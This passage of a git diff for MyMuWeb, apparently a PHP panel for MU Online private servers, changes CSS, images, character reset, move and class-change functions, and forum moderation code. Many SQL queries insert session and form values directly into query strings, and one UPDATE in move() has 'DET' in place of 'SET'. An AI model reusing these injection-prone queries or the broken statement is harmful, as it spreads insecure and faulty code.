- font: Status-Bar;
- padding: 3px;
- filter: progid:DXImageTransform.Microsoft.Shadow(color="#777777", Direction=135, Strength=3);
- z-index: 10000;
-}
-
-
-.help-tooltip a,
-.help-tooltip a:hover {
- color: blue !important;
- background: none;
-}
-
-.select{
- border: 1px solid #000000;
- background-color: #FFFFFF;
- font-family: Verdana,Arial, Helvetica, sans-serif;
- font-size: 9px;
- color: #000000;
- padding-left: 0px; padding-right: 0px; padding-top: 0px; padding-bottom: 0px;
-}
-.textfields, input{
- border: 1px solid #000000;
- background-color: #FFFFFF;
- font-family: Verdana,Arial, Helvetica, sans-serif;
- font-size: 10px;
- color: #000000;
- padding-left: 0px; padding-right: 0px; padding-top: 0px; padding-bottom: 0px;
-}
-
-
- .normal_text {
- font-size : 12px;
- color : #000000;
- line-height : 15px;
- font-family : Arial, Helvetica, sans-serif;
- }
-
- .normal_text_white {
- font-size : 12px;
- color : #FFFFFF;
- line-height : 15px;
- font-family : Arial, Helvetica, sans-serif;
- }
-
-
-#mutable td {
- border-bottom: 1px solid #666666;
- border-right: 1px solid #666666;
- padding: 2px 2px 2px 2px;
-
- font-family: Georgia, "Times New Roman", Times, serif; font-size: 12px; color: #000000;
-}
-#mutable td:hover {
- border-bottom: 1px solid #666666;
- border-right: 1px solid #666666;
- padding: 2px 2px 2px 2px;
- background-color: #FFFFFF;
- font-family: Georgia, "Times New Roman", Times, serif; font-size: 12px; color: #000000;
-}
-#mutable #altcol {
- background-color: #FFFFFF;
- border-bottom: 1px #B5A68A;
- border-right: 1px #B5A68A;
- font-family: Georgia, Times New Roman, Times, serif;
- font-size: 13px;
- color: #415D7A;
- text-decoration: none;
-}
-#mutable1 td {
- margin: 0px 0px 0px 0px;
- padding: 0px 0px 0px 0px;
-
- font-family: Georgia, "Times New Roman", Times, serif; font-size: 12px; color: #000000;
-}
-
-.grids {
- border-top: 1px solid #666666;
- border-left: 1px solid #666666;
- font-family: Georgia, "Times New Roman", Times, serif; font-size: 12px; color: #666666;
-}
-
-
-
-
-
-
-
- .link_rankings a:link {
- font-size : 13px;
- color : #000000;
- text-decoration : none;
- font-family : Georgia, "Times New Roman", Times, serif;
- }
- .link_rankings a:visited {
- font-size : 13px;
- color : #000000;
- text-decoration : none;
- font-family : Georgia, "Times New Roman", Times, serif;
- }
- .link_rankings a:active {
- font-size : 13px;
- color : #000000;
- text-decoration : none;
- font-family : Georgia, "Times New Roman", Times, serif;
- }
- .link_rankings a:hover {
- font-size : 13px;
- color : #d9952b;
- text-decoration : none;
- font-family : Georgia, "Times New Roman", Times, serif;
- }
-
-
-
- .link_down a:link {
- font-size : 10px;
- color : #000000;
- line-height : 15px;
- font-family : Arial, Helvetica, sans-serif;
- }
- .link_down a:visited {
- font-size : 10px;
- color : #000000;
- line-height : 15px;
- font-family : Arial, Helvetica, sans-serif;
- }
- .link_down a:active {
- font-size : 10px;
- color : #000000;
- line-height : 15px;
- font-family : Arial, Helvetica, sans-serif;
- }
- .link_down a:hover {
- font-size : 10px;
- color : #FF0000;
- line-height : 15px;
- font-family : Arial, Helvetica, sans-serif;
- text-decoration: underline;
- }
-
-
-
- .link_logs a:link {
- font-size : 11px;
- color : #000000;
- line-height : 15px;
- font-family : Arial, Helvetica, sans-serif;
- }
- .link_logs a:visited {
- font-size : 11px;
- color : #000000;
- line-height : 15px;
- font-family : Arial, Helvetica, sans-serif;
- }
- .link_logs a:active {
- font-size : 11px;
- color : #000000;
- line-height : 15px;
- font-family : Arial, Helvetica, sans-serif;
- }
- .link_logs a:hover {
- font-size : 11px;
- color : #FF0000;
- line-height : 15px;
- font-family : Arial, Helvetica, sans-serif;
- text-decoration: underline;
- }
-
- .alt9, .alt9Active{
- background: #FFFFFF url(tcat2.gif) repeat-x top left;
- color: #000000;
- }
-
- .text_statistics2 {
- font-family : Verdana, Arial, Helvetica, sans-serif;
- font-size : 11px;
- color : #D9952B;
\ No newline at end of file
+/* Global */
+body {background: #DDDDDD; font-size: 12px; line-height: 15px; color: #000000; font-family: Arial, Helvetica, sans-serif;}
+table,td {font-size: 12px; line-height: 15px; color: #000000; font-family: Arial, Helvetica, sans-serif;}
+
+a:link {font-size: 13px; color: #000000; text-decoration: none;}
+a:visited {font-size: 13px; color: #000000; text-decoration: none;}
+a:active {font-size: 13px; color: #000000; text-decoration: none;}
+a:hover {font-size: 13px; color: #FF0000; text-decoration: none;}
+
+.online {font-size: 12px; color: #00ff00;}
+.offline {font-size: 12px; color: #ff0000;}
+
+input,select {color: #000000; padding: 0px; vertical-align: center; font-size: 9px; font-weight: bold; font-family: Tahoma, Verdana, Arial;}
+textarea {color: #000000; padding: 2px; vertical-align: center; font-size: 12px; font-family: Tahoma, Verdana, Arial;}
+select.selections {font-family: "Arial"; font-size: 12px; line-height: 14px; color: #f2e5cd; text-decoration: none; background-color: #494949;}
+form,img {display: inline; padding: 0; margin: 0; border: 0;}
+fieldset {border: 1px solid #121212; background: #DDDDDD; padding: 2px;}
+legend {color: #ff0000; background: #ffffff; font: 11px tahoma, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif;}
+
+.sort-table td {border: 1px solid ThreeDShadow; background: Window; color: WindowText; padding: 2px 5px; font-size: 12px;}
+.sort-table thead td {border: 1px solid; background: #FFAA55; padding: 2px 5px; border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight;}
+
+.login_stats {border: 0px; padding: 0px;}
+.sized {max-width:600px; width:expression(this.scrollWidth > 600? "600px" : "auto" ); overflow:auto; overflow-y:hidden;}
+.copyright {font-size: 10px; color: #101010;}
+/* --------------- */
\ No newline at end of file
diff --git a/images/anime_1.gif b/images/anime_1.gif
deleted file mode 100644
index e9e745c..0000000
Binary files a/images/anime_1.gif and /dev/null differ
diff --git a/images/anime_2.gif b/images/anime_2.gif
deleted file mode 100644
index 9d5fc9d..0000000
Binary files a/images/anime_2.gif and /dev/null differ
diff --git a/images/anime_3.gif b/images/anime_3.gif
deleted file mode 100644
index b55cf76..0000000
Binary files a/images/anime_3.gif and /dev/null differ
diff --git a/images/anime_4.gif b/images/anime_4.gif
deleted file mode 100644
index e7a9556..0000000
Binary files a/images/anime_4.gif and /dev/null differ
diff --git a/images/anime_5.gif b/images/anime_5.gif
deleted file mode 100644
index e4bf8a6..0000000
Binary files a/images/anime_5.gif and /dev/null differ
diff --git a/images/anime_6.gif b/images/anime_6.gif
deleted file mode 100644
index 0ea3e9e..0000000
Binary files a/images/anime_6.gif and /dev/null differ
diff --git a/images/anime_7.gif b/images/anime_7.gif
deleted file mode 100644
index 6960336..0000000
Binary files a/images/anime_7.gif and /dev/null differ
diff --git a/images/anime_8.gif b/images/anime_8.gif
deleted file mode 100644
index 27721cc..0000000
Binary files a/images/anime_8.gif and /dev/null differ
diff --git a/images/background.png b/images/close.png
similarity index 80%
rename from images/background.png
rename to images/close.png
index 8809868..991a9f1 100644
Binary files a/images/background.png and b/images/close.png differ
diff --git a/images/death.gif b/images/death.gif
index 300408e..84bf047 100644
Binary files a/images/death.gif and b/images/death.gif differ
diff --git a/images/die.gif b/images/die.gif
new file mode 100644
index 0000000..d476693
Binary files /dev/null and b/images/die.gif differ
diff --git a/images/f_closed.gif b/images/f_closed.gif
new file mode 100644
index 0000000..b4e9220
Binary files /dev/null and b/images/f_closed.gif differ
diff --git a/images/f_hot.gif b/images/f_hot.gif
new file mode 100644
index 0000000..934454a
Binary files /dev/null and b/images/f_hot.gif differ
diff --git a/images/f_hot_no.gif b/images/f_hot_no.gif
new file mode 100644
index 0000000..a182036
Binary files /dev/null and b/images/f_hot_no.gif differ
diff --git a/images/f_normal.gif b/images/f_normal.gif
new file mode 100644
index 0000000..2e9deb5
Binary files /dev/null and b/images/f_normal.gif differ
diff --git a/images/f_old.gif b/images/f_old.gif
new file mode 100644
index 0000000..ec38aa4
Binary files /dev/null and b/images/f_old.gif differ
diff --git a/images/logo.png b/images/logo.png
deleted file mode 100644
index ba9ff0b..0000000
Binary files a/images/logo.png and /dev/null differ
diff --git a/media/logo.png b/images/mmw.png
similarity index 100%
rename from media/logo.png
rename to images/mmw.png
diff --git a/images/offline.gif b/images/offline.gif
index 84bf047..300408e 100644
Binary files a/images/offline.gif and b/images/offline.gif differ
diff --git a/images/okey.gif b/images/okey.gif
new file mode 100644
index 0000000..103bd76
Binary files /dev/null and b/images/okey.gif differ
diff --git a/images/open.png b/images/open.png
new file mode 100644
index 0000000..b9025b3
Binary files /dev/null and b/images/open.png differ
diff --git a/images/pop-close.PNG b/images/pop-close.PNG
new file mode 100644
index 0000000..fdbde07
Binary files /dev/null and b/images/pop-close.PNG differ
diff --git a/images/pop-logo.PNG b/images/pop-logo.PNG
new file mode 100644
index 0000000..69ef26d
Binary files /dev/null and b/images/pop-logo.PNG differ
diff --git a/images/pop-up.png b/images/pop-up.png
new file mode 100644
index 0000000..fd97bcd
Binary files /dev/null and b/images/pop-up.png differ
diff --git a/images/refresh.gif b/images/refresh.gif
new file mode 100644
index 0000000..7dd0957
Binary files /dev/null and b/images/refresh.gif differ
diff --git a/images/sleep.GIF b/images/sleep.GIF
deleted file mode 100644
index 84bf047..0000000
Binary files a/images/sleep.GIF and /dev/null differ
diff --git a/images/smile/boo.gif b/images/smile/boo.gif
new file mode 100644
index 0000000..4ae4cf3
Binary files /dev/null and b/images/smile/boo.gif differ
diff --git a/images/smile/hello.gif b/images/smile/hello.gif
new file mode 100644
index 0000000..9f0c3d0
Binary files /dev/null and b/images/smile/hello.gif differ
diff --git a/images/sql_die.png b/images/sql_die.png
index 2e17b3e..2d3f62b 100644
Binary files a/images/sql_die.png and b/images/sql_die.png differ
diff --git a/includes/character.class.php b/includes/character.class.php
index 6bfcdf5..4bea955 100644
--- a/includes/character.class.php
+++ b/includes/character.class.php
@@ -2,7 +2,7 @@
// Creator =Master=
// Get from MuWeb 0.8
// Edited by Vaflan
-// It is modified for MyMuWeb
+// It's modified for MyMuWeb
class option{
@@ -55,18 +55,18 @@ function register() {
if($_SESSION['image_random_value'] != md5($verifyinput)) {
$error= 1;
echo $die_start . mmw_lang_correctly_code . $die_end;
- }
+ }
if($username_verify > 0) {
$error= 1;
- echo $die_start . mmw_lang_account_in_use . $die_end;
+ echo $die_start . mmw_lang_account_in_use . $die_end;
}
if($email_verify > 0) {
$error= 1;
- echo $die_start . mmw_lang_email_in_use . $die_end;
+ echo $die_start . mmw_lang_email_in_use . $die_end;
}
if($country <= 0) {
$error= 1;
- echo $die_start . mmw_lang_invalid_country . $die_end;
+ echo $die_start . mmw_lang_invalid_country . $die_end;
}
if($error!=1) {
@@ -100,7 +100,7 @@ function reset($charactername) {
$wh_result = mssql_query("SELECT AccountID,extMoney FROM warehouse WHERE accountid='$login'");
$wh_row = mssql_fetch_row($wh_result); if($wh_row[1]=="" || $wh_row[1]==" ") {$wh_row[1]="0";}
- $result = mssql_query("Select Clevel,Reset,Money,LevelUpPoint,class From Character where Name='$charactername' and AccountID='$login'");
+ $result = mssql_query("SELECT Clevel,Reset,Money,LevelUpPoint,class FROM Character WHERE Name='$charactername' AND AccountID='$login'");
$character_check = mssql_num_rows($result);
$row = mssql_fetch_row($result);
@@ -113,7 +113,7 @@ function reset($charactername) {
$reset_up = $row[1] + (1);
$char_money = $row[2];
- //CS Memb %
+ //CastleSiege Member % Price
if($mmw[mix_cs_memb_reset]=="yes") {
$guildm_results = mssql_query("Select G_name from GuildMember where name='$charactername'");
$guildm = mssql_fetch_row($guildm_results);
@@ -122,37 +122,49 @@ function reset($charactername) {
$cs_row = mssql_fetch_row($cs_query);
if($cs_row[0]==$guildm[0]) {
if($mmw[max_zen_cs_reset]>$cs_row[1]){$edited_zen_cs = $cs_row[1];} else{$edited_zen_cs = $mmw[max_zen_cs_reset];}
- $cs_memb_reset_zen = ( substr($mmw['resetmoney'], 0, -6) * ceil( substr($edited_zen_cs, 0, -6) / $mmw[num_for_mix_cs_reset] ) ) / 100;
+ $cs_memb_reset_zen = ( substr($mmw['reset_money'], 0, -6) * ceil( substr($edited_zen_cs, 0, -6) / $mmw[num_for_mix_cs_reset] ) ) / 100;
}
}
- $edited_res_money = $mmw['resetmoney'] - ($cs_memb_reset_zen * 1000000);
+ $edited_res_money = $mmw['reset_money'] - ($cs_memb_reset_zen * 1000000);
}
- else {$edited_res_money = $mmw['resetmoney'];}
+ else {$edited_res_money = $mmw['reset_money'];}
//Reset * Zen
if($mmw[reset_system]=='yes') {$resetmoneysys = $edited_res_money * $reset_up;}
else {$resetmoneysys = $edited_res_money;}
+
+ if($mmw[reset_limit_price] != '0' && $mmw[reset_limit_price] <= $resetmoneysys) {$resetmoneysys = $mmw[reset_limit_price];}
$wh_money = $wh_row[1] - $resetmoneysys;
if($wh_money < 0) {$char_money = $char_money + $wh_money; $wh_money = 0;}
$resetpt = $row[3] + $mmw['resetpoints'];
$resetpt1 = $mmw['resetpoints'] * $reset_up;
- if (empty($charactername) || empty($login)){ $error=1;
+ //Check Inventory
+ if($mmw[check_inventory] == 'yes') {
+ $result = mssql_query("declare @vault varbinary(1728); set @vault=(SELECT Inventory FROM Character WHERE Name='$charactername'); print @vault;");
+ $inventory = substr(mssql_get_last_message(),2,$mmw[free_hex] * 12);
+ $test_invetory = free_hex($mmw[free_hex],12);
+ }
+
+ if(empty($charactername) || empty($login)){ $error=1;
echo $die_start . mmw_lang_left_blank . $die_end;
}
- if ($character_check <= 0) {$error=1;
+ if($character_check <= 0) {$error=1;
echo $die_start . $charactername . mmw_lang_character_does_not_exist . $die_end;
}
- if ($online_check[0] != 0) {$error=1;
+ if($online_check[0] != 0) {$error=1;
echo $die_start . mmw_lang_account_is_online_must_be_logged_off . $die_end;
}
- if ($char_money < 0) {$error=1;
+ if($char_money < 0) {$error=1;
echo $die_start . mmw_lang_for_reset_need .' '.zen_format($resetmoneysys)." Zen! $die_end";
}
- if ($row[0] < $reset_level) {$error=1;
+ if($row[0] < $reset_level) {$error=1;
echo $die_start . mmw_lang_for_reset_need ." $reset_level ".mmw_lang_level."! $die_end";
}
- if ($row[1] > $mmw['resetslimit']) {$error=1;
- echo $die_start . mmw_lang_reset_limit_to . " $mmw[resetslimit]! $die_end";
+ if($row[1] > $mmw['reset_limit_level']) {$error=1;
+ echo $die_start . mmw_lang_reset_limit_to . " $mmw[reset_limit_level]! $die_end";
+ }
+ if($mmw[check_inventory] == 'yes' && $inventory!=$test_invetory) {$error=1;
+ echo $die_start . mmw_lang_take_off_set . $die_end;
}
if($error != 1){
@@ -429,44 +441,82 @@ function profile($account) {
function move($name) {
+ include("move.php");
require("config.php");
$login = clean_var(stripslashes($_SESSION['user']));
+ $map = clean_var(stripslashes($_POST['map']));
$name = stripslashes($name);
- $map = clean_var(stripslashes($_POST['map']));
-
- if($map == '0'){$x="125"; $y="125";}
- elseif($map == '3'){$x="175"; $y="112";}
- elseif($map == '2'){$x="211"; $y="40";}
- elseif($map == '1'){$x="232"; $y="126";}
- elseif($map == '7'){$x="24"; $y="19";}
- elseif($map == '4'){$x="209"; $y="71";}
- elseif($map == '8'){$x="187"; $y="58";}
- elseif($map == '6'){$x="64"; $y="116";}
- elseif($map == '10'){$x="15"; $y="13";}
- elseif($map == '30'){$x="93"; $y="37";}
- elseif($map == '33'){$x="82"; $y="8";}
- elseif($map == '34'){$x="120"; $y="8";}
-
- $select_zen_sql=mssql_query("Select money from character where name='$name'");
- $select_zen=mssql_fetch_row($select_zen_sql);
-
- $wh_result = mssql_query("SELECT AccountID,extMoney FROM warehouse WHERE accountid='$login'");
- $wh_row = mssql_fetch_row($wh_result); if(empty($wh_row[1]) || $wh_row[1]==" ") {$wh_row[1]="0";}
-
- $char_money = $select_zen[0];
- $wh_money = $wh_row[1] - $mmw['move_zen'];
- if($wh_money < 0) {$char_money = $char_money + $wh_money; $wh_money = 0;}
-
- if(empty($name)) {
- echo $die_start . mmw_lang_left_blank . $die_end;}
- elseif($char_money < 0) {
- echo $die_start . mmw_lang_move_need .' '.zen_format($mmw[move_zen])." Zen! $die_end";}
- else {
- mssql_query("UPDATE warehouse SET [extMoney]='$wh_money' WHERE accountid='$login'");
- mssql_query("Update character set [mapnumber]='$map',[mapposx]='$x',[mapposy]='$y',[money]='$char_money' where name='$name'");
- echo $okey_start . mmw_lang_character_moved . $okey_end;
- writelog("move","Char $name Has Been Moved To: $map, $x-$y|Char: $char_money Zen|Acc: $wh_money Zen");
- }
+ $mapnumber = $move[$map][0];
+ $x = $move[$map][1];
+ $y = $move[$map][2];
+
+ $select_zen_sql = mssql_query("Select money from character where name='$name'");
+ $select_zen = mssql_fetch_row($select_zen_sql);
+
+ $wh_result = mssql_query("SELECT AccountID,extMoney FROM warehouse WHERE accountid='$login'");
+ $wh_row = mssql_fetch_row($wh_result); if(empty($wh_row[1]) || $wh_row[1]==" ") {$wh_row[1]="0";}
+
+ $char_money = $select_zen[0];
+ $wh_money = $wh_row[1] - $mmw['move_zen'];
+ if($wh_money < 0) {$char_money = $char_money + $wh_money; $wh_money = 0;}
+
+ if(empty($name)) {
+ echo $die_start . mmw_lang_left_blank . $die_end;
+ }
+ elseif($char_money < 0) {
+ echo $die_start . mmw_lang_move_need .' '.zen_format($mmw[move_zen])." Zen! $die_end";
+ }
+ else {
+ mssql_query("UPDATE warehouse SET [extMoney]='$wh_money' WHERE accountid='$login'");
+ mssql_query("UPDATE character DET [mapnumber]='$mapnumber',[mapposx]='$x',[mapposy]='$y',[money]='$char_money' where name='$name'");
+ echo $okey_start . mmw_lang_character_moved . $okey_end;
+ writelog("move","Char $name Has Been Moved To: $mapnumber, $x-$y|Char: $char_money Zen|Acc: $wh_money Zen");
+ }
+}
+
+
+
+
+
+
+function change_class($name) {
+ include("class.php");
+ require("config.php");
+ $login = clean_var(stripslashes($_SESSION['user']));
+ $change_class = clean_var(stripslashes($_POST['class']));
+ $name = stripslashes($name);
+ $class = $class_list[$change_class][0];
+ $price = $class_list[$change_class][1];
+
+ $result = mssql_query("declare @vault varbinary(1728); set @vault=(SELECT Inventory FROM Character WHERE Name='$name'); print @vault;");
+ $inventory = substr(mssql_get_last_message(),2,$mmw[free_hex] * 12);
+ $test_invetory = free_hex($mmw[free_hex],12);
+
+ $select_zen_sql = mssql_query("Select money from character where name='$name'");
+ $select_zen = mssql_fetch_row($select_zen_sql);
+
+ $wh_result = mssql_query("SELECT AccountID,extMoney FROM warehouse WHERE accountid='$login'");
+ $wh_row = mssql_fetch_row($wh_result); if(empty($wh_row[1]) || $wh_row[1]==" ") {$wh_row[1]="0";}
+
+ $char_money = $select_zen[0];
+ $wh_money = $wh_row[1] - $price;
+ if($wh_money < 0) {$char_money = $char_money + $wh_money; $wh_money = 0;}
+
+ if(empty($name) || $change_class=='class') {
+ echo $die_start . mmw_lang_left_blank . $die_end;
+ }
+ elseif($inventory != $test_invetory) {
+ echo $die_start . mmw_lang_take_off_set . $die_end;
+ }
+ elseif($char_money < 0) {
+ echo $die_start . mmw_lang_change_class_need .' '.zen_format($price)." Zen! $die_end";
+ }
+ else {
+ mssql_query("UPDATE warehouse SET [extMoney]='$wh_money' WHERE accountid='$login'");
+ mssql_query("UPDATE character SET [class]='$class',[money]='$char_money' where name='$name'");
+ echo $okey_start . mmw_lang_character_changed . $okey_end;
+ writelog("change_class","Char $name Has Been Changed Class To: $class|Char: $char_money Zen|Acc: $wh_money Zen");
+ }
}
@@ -580,7 +630,7 @@ function comment_delete($c_id) {
if(empty($c_id)) {
echo "$die_start Error: Some Fields Were Left Blank! $die_end";
}
- elseif($row[0]==$char_set || $_SESSION['admin'] >= $mmw[comment_can_delete]) {
+ elseif($row[0]==$char_set || $_SESSION['mmw_status'] >= $mmw[comment_can_delete]) {
mssql_query("Delete from MMW_comment where c_id='$c_id'");
echo $okey_start . mmw_lang_comment_deleted . $okey_end;
}
@@ -630,7 +680,7 @@ function forum_delete($f_id) {
if(empty($f_id)) {
echo $die_start . mmw_lang_left_blank . $die_end;
}
- elseif($row[0]==$char_set || $_SESSION['admin'] >= $mmw[forum_can_delete]) {
+ elseif($row[0]==$char_set || $_SESSION['mmw_status'] >= $mmw[forum_can_delete]) {
mssql_query("Delete from MMW_forum where f_id='$f_id'");
mssql_query("Delete from MMW_comment where c_id_code='$f_id'");
echo $okey_start . mmw_lang_topic_deleted . $okey_end;
@@ -646,6 +696,29 @@ function forum_delete($f_id) {
+function forum_status($f_id,$f_status) {
+ require("config.php");
+ $f_id = clean_var(stripslashes($f_id));
+ $f_status = clean_var(stripslashes($f_status));
+
+ if(empty($f_id) || $f_status=='') {
+ echo $die_start . mmw_lang_left_blank . $die_end;
+ }
+ elseif($_SESSION['mmw_status'] >= $mmw['forum_can_status']) {
+ mssql_query("UPDATE MMW_forum SET f_status='$f_status' where f_id='$f_id'");
+ echo $okey_start . mmw_lang_topic_status . $okey_end;
+ }
+ else {
+ echo $die_start . mmw_lang_cant_or_alread_delete . $die_end;
+ }
+}
+
+
+
+
+
+
+
function request($login) {
require("config.php");
@@ -655,7 +728,7 @@ function request($login) {
else {
$title = bugsend(stripslashes($_POST['subject']));
$msg = bugsend(stripslashes($_POST['msg']));
- writelog("requests.php","Acc: $login New Request Title : $title Message : $msg ");
+ writelog("requests","Acc: $login New Request Title : $title Message : $msg ");
echo $okey_start . mmw_lang_request_sent . $okey_end;
}
}
@@ -741,7 +814,7 @@ function edit_warehouse($hex_wh) {
$hex_wh = clean_var(stripslashes($hex_wh));
if(empty($hex_wh) || empty($login)) {echo $die_start . mmw_lang_left_blank . $die_end;}
- elseif($_SESSION['admin'] < $mmw[hex_wh_can]) {echo "$die_start You Can't Use HEX WareHouse! $die_end";}
+ elseif($_SESSION['mmw_status'] < $mmw[hex_wh_can]) {echo "$die_start You Can't Use HEX WareHouse! $die_end";}
else {
$hex_query = "UPDATE warehouse SET [Items]=0x$hex_wh WHERE AccountID='$login'";
if(mssql_query($hex_query)) {
@@ -767,7 +840,7 @@ function gm_msg($text) {
include("includes/shout_msg.php");
if(empty($text)) {echo $die_start . mmw_lang_left_blank . $die_end;}
- elseif($_SESSION['admin'] < $mmw[gm_msg_send]) {echo "$die_start You Can't Send GM Message! $die_end";}
+ elseif($_SESSION['mmw_status'] < $mmw['gm_msg_send']) {echo "$die_start You Can't Send GM Message! $die_end";}
else {
if( send_gm_msg("127.0.0.1", $mmw[joinserver_port], $text) == "yes") {
echo "$okey_start GM Msg SuccessFully Send! $okey_end";}
diff --git a/includes/comment.php b/includes/comment.php
index de7e0db..f681d23 100644
--- a/includes/comment.php
+++ b/includes/comment.php
@@ -43,8 +43,8 @@
$c_num_result = mssql_query("SELECT c_id FROM MMW_comment WHERE c_char='$row[1]'");
$comment_c_num = mssql_num_rows($c_num_result);
- if($_SESSION['admin'] >= $mmw[comment_can_delete] || $_SESSION['char_set']==$row[1])
- {$edit = " ";}
+ if($_SESSION['mmw_status'] >= $mmw[comment_can_delete] || $_SESSION['char_set']==$row[1])
+ {$edit = " ";}
else {$edit = '';}
echo '
@@ -52,7 +52,7 @@
'.$avatar_c_e.'
-
+
'.mmw_lang_char.': '.$row[1].'
'.mmw_lang_country.': '.$country.' '.mmw_lang_gender.': '.gender($char_info[3]).' '.mmw_lang_comments.': '.$comment_c_num.''.mmw_lang_date.': '.$day_c.' '.$edit.'
@@ -65,37 +65,39 @@
';
-
- if(isset($_SESSION['char_set']) && $_SESSION['char_set']!=' ') {
+ if($c_add_close == 'yes') {
+ echo ''.mmw_lang_comment_close.'
';
+ }
+ elseif(isset($_SESSION['char_set']) && $_SESSION['char_set']!=' ') {
?>
-
-
diff --git a/includes/db_mmw.sql b/includes/db_mmw.sql
new file mode 100644
index 0000000..862cf14
--- /dev/null
+++ b/includes/db_mmw.sql
@@ -0,0 +1,103 @@
+
+
+
+if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[MMW_comment]') and OBJECTPROPERTY(id, N'IsUserTable') = 1)
+drop table [dbo].[MMW_comment]
+
+CREATE TABLE [dbo].[MMW_comment] (
+ [c_id] [int] IDENTITY (1, 1) NOT NULL ,
+ [c_id_blog] [nvarchar] (50) NULL ,
+ [c_id_code] [nvarchar] (50) NULL ,
+ [c_char] [nvarchar] (50) NULL ,
+ [c_text] [text] NULL ,
+ [c_date] [nvarchar] (50) NULL
+) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
+
+
+
+if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[MMW_forum]') and OBJECTPROPERTY(id, N'IsUserTable') = 1)
+drop table [dbo].[MMW_forum]
+
+CREATE TABLE [dbo].[MMW_forum] (
+ [f_id] [nvarchar] (50) NULL ,
+ [f_char] [nvarchar] (50) NULL ,
+ [f_title] [nvarchar] (50) NULL ,
+ [f_text] [text] NULL ,
+ [f_date] [int] NULL ,
+ [f_lostchar] [nvarchar] (50) NULL ,
+ [f_status] [int] NULL
+) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
+
+
+
+if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[MMW_links]') and OBJECTPROPERTY(id, N'IsUserTable') = 1)
+drop table [dbo].[MMW_links]
+
+CREATE TABLE [dbo].[MMW_links] (
+ [link_name] [varchar] (100) NULL ,
+ [link_address] [text] NULL ,
+ [link_description] [text] NULL ,
+ [link_size] [varchar] (100) NULL ,
+ [link_id] [varchar] (100) NULL ,
+ [link_date] [varchar] (100) NULL
+) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
+
+
+
+if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[MMW_news]') and OBJECTPROPERTY(id, N'IsUserTable') = 1)
+drop table [dbo].[MMW_news]
+
+CREATE TABLE [dbo].[MMW_news] (
+ [news_id] [nvarchar] (100) NULL ,
+ [news_title] [nvarchar] (100) NULL ,
+ [news_category] [nvarchar] (100) NULL ,
+ [news_eng] [text] NULL ,
+ [news_rus] [text] NULL ,
+ [news_autor] [nvarchar] (100) NULL ,
+ [news_date] [nvarchar] (100) NULL
+) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
+
+
+
+if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[MMW_servers]') and OBJECTPROPERTY(id, N'IsUserTable') = 1)
+drop table [dbo].[MMW_servers]
+
+CREATE TABLE [dbo].[MMW_servers] (
+ [name] [nvarchar] (100) NULL ,
+ [experience] [nvarchar] (100) NULL ,
+ [drops] [nvarchar] (100) NULL ,
+ [gsport] [nvarchar] (100) NULL ,
+ [ip] [nvarchar] (100) NULL ,
+ [display_order] [nvarchar] (100) NULL ,
+ [version] [nvarchar] (100) NULL ,
+ [type] [nvarchar] (50) NULL
+) ON [PRIMARY]
+
+
+
+if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[MMW_votemain]') and OBJECTPROPERTY(id, N'IsUserTable') = 1)
+drop table [dbo].[MMW_votemain]
+
+CREATE TABLE [dbo].[MMW_votemain] (
+ [ID] [int] IDENTITY (1, 1) NOT NULL ,
+ [question] [nvarchar] (100) NULL ,
+ [answer1] [nvarchar] (50) NULL ,
+ [answer2] [nvarchar] (50) NULL ,
+ [answer3] [nvarchar] (50) NULL ,
+ [answer4] [nvarchar] (50) NULL ,
+ [answer5] [nvarchar] (50) NULL ,
+ [answer6] [nvarchar] (50) NULL ,
+ [add_date] [nvarchar] (11) NULL
+) ON [PRIMARY]
+
+
+
+if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[MMW_voterow]') and OBJECTPROPERTY(id, N'IsUserTable') = 1)
+drop table [dbo].[MMW_voterow]
+
+
+CREATE TABLE [dbo].[MMW_voterow] (
+ [ID_vote] [int] NULL ,
+ [who] [nvarchar] (15) NULL ,
+ [answer] [int] NULL
+) ON [PRIMARY]
diff --git a/includes/engine.php b/includes/engine.php
new file mode 100644
index 0000000..7735b0e
--- /dev/null
+++ b/includes/engine.php
@@ -0,0 +1,608 @@
+Not Find Default $mmw[language] $sql_die_end");
+}
+
+function language($default=NULL) {
+ if($dh = opendir("lang/")) {
+ while (($file = readdir($dh)) !== false) {
+ $format = substr($file, -3);
+ $name = substr($file, 0, -4);
+ if($format == 'php') {
+ if(!isset($_SESSION[set_lang]) && $default==$name){$select="selected";}
+ elseif($_SESSION[set_lang]==$name){$select="selected";} else{$select="";}
+ $select_lang = $select_lang . "$name ";
+ }
+ }
+ closedir($dh);
+ }
+$lang_form = "";
+echo "$lang_form $select_lang ";
+}
+/////// End Language ///////
+
+
+
+
+
+/////// Start Menu //////
+function menu($style=NULL) {
+ include("menu.php");
+ if($style==NULL) {$style = "$2 ";}
+ for($i=0; $i < count($menu); ++$i) {
+ $text = '[url='.$menu[$i][1].'][name='.$menu[$i][0].']';
+ $text = preg_replace("/\[url\=(.*?)\]\[name\=(.*?)\]/is", $style, $text);
+ echo " $text \n";
+ }
+}
+/////// End Menu ///////
+
+
+
+
+
+/////// Start Default Modules //////
+ //Now Module
+function curent_module() {
+if(isset($_GET['news'])){echo "> ".mmw_lang_news." ";}
+elseif(isset($_GET['forum'])){echo "> ".mmw_lang_forum." ";}
+elseif(is_file("modules/$_GET[op].php")){echo "> ".ucfirst($_GET['op'])." ";}
+
+if($_GET['op']=='user') {
+ if($_GET['op']=='user' and !isset($_GET['u'])){echo " > ".mmw_lang_account_panel." ";}
+ else{echo " > ".ucfirst($_GET['u'])." ";}
+ }
+}
+ //Jump Link
+function jump($location) {
+ header('Location: '.$location.'');
+}
+ //Referral
+if(isset($_GET['ref'])) {
+ $_SESSION['referral'] = clean_var(stripslashes($_GET['ref']));
+}
+ //MP3 Player
+function mp3_player($color,$request=NULL) {
+ $media_color = $color;
+ if($request!='no') {
+ include('media/player.php');
+ }
+}
+ //Hex To String
+function hex2str($hex) {
+ $string = '';
+ for ($i=0; $i < strlen($hex)-1; $i+=2) {
